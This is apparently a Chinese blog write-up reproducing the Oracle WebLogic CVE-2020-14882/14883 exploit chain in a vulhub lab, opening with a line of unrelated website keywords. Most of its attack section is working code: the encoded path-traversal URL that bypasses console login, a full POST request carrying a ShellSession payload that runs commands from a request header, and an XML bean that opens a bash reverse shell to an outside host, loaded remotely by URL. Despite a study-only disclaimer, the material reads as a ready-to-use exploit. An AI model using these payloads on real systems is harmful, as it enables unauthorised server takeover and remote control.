公司建设网站费用怎么记账,深圳蕾奥规划设计公司网站,称多县网站建设公司,互联网运营模式有哪几种目录漏洞描述影响版本漏洞复现权限绕过漏洞远程命令执行声明#xff1a;本文仅供学习参考#xff0c;其中涉及的一切资源均来源于网络#xff0c;请勿用于任何非法行为#xff0c;否则您将自行承担相应后果#xff0c;本人不承担任何法律及连带责任。
漏洞描述
Weblogic…
目录漏洞描述影响版本漏洞复现权限绕过漏洞远程命令执行声明本文仅供学习参考其中涉及的一切资源均来源于网络请勿用于任何非法行为否则您将自行承担相应后果本人不承担任何法律及连带责任。
漏洞描述
Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中Oracle官方修复了两个安全漏洞分别是CVE-2020-14882和CVE-2020-14883CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。
影响版本
WebLogic 10.3.6.0.0 WebLogic 12.1.3.0.0 WebLogic 12.2.1.3.0 WebLogic 12.2.1.4.0 WebLogic 14.1.1.0.0
漏洞复现
漏洞环境搭建使用vulhub不在赘述。环境起来后访问http://192.168.10.171:7001/console,即可访问到后台登录页面
权限绕过漏洞
访问url: http://192.168.10.171:7001/console/css/%252e%252e%252fconsole.portal即可未授权访问到管理后台页面有时第一次访问会出现404错误在访问一下就可以了 但当前用户为低权限用户无法安装应用也无法直接执行命令。此次引出第二个漏洞cve-2020-14883.
远程命令执行
这个漏洞的利用方式有两种一是通过com.tangosol.coherence.mvel2.sh.ShellSession二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext。 首先利用第一种方式即com.tangosol.coherence.mvel2.sh.ShellSession利用的POC如下
POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
Host: 192.168.26.103:7001
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/webp,*/*;q0.8
Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
cmd: whoami
Content-Length: 1258_nfpbtrue_pageLabelhandlecom.tangosol.coherence.mvel2.sh.ShellSession(weblogic.work.ExecuteThread executeThread (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter executeThread.getCurrentWork();
java.lang.reflect.Field field adapter.getClass().getDeclaredField(connectionHandler);
field.setAccessible(true);
Object obj field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod(getServletRequest).invoke(obj);
String cmd req.getHeader(cmd);
String[] cmds System.getProperty(os.name).toLowerCase().contains(window) ? new String[]{cmd.exe, /c, cmd} : new String[]{/bin/sh, -c, cmd};
if (cmd ! null) {String result new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\\A).next();weblogic.servlet.internal.ServletResponseImpl res (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod(getResponse).invoke(req);res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();res.getWriter().write();
}executeThread.interrupt();
);反弹shell 查看反弹shell成功 但这个利用方法只能在Weblogic 12.2.1以上版本利用因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。 com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext是一种更为通杀的方法最早在CVE-2019-2725被提出对于所有Weblogic版本均有效。
首先构造一个xml文件并将其放到Weblogic可以访问到的服务器上服务器上可以使用python起http服务
?xml version1.0 encodingUTF-8 ?
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdbean idpb classjava.lang.ProcessBuilder init-methodstartconstructor-arglistvaluebash/valuevalue-c/valuevalue![CDATA[bash -i /dev/tcp/192.168.8.14/3340 01]]/value/list/constructor-arg/bean
/beans然后通过如下URL即可让Weblogic加载这个XML并执行其中的命令
http://192.168.10.171:7001/console/css/%252e%252e%252fconsole.portal?_nfpbtrue_pageLabelhandlecom.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://192.168.8.14:8888/poc.xml”)
查看反弹shell成功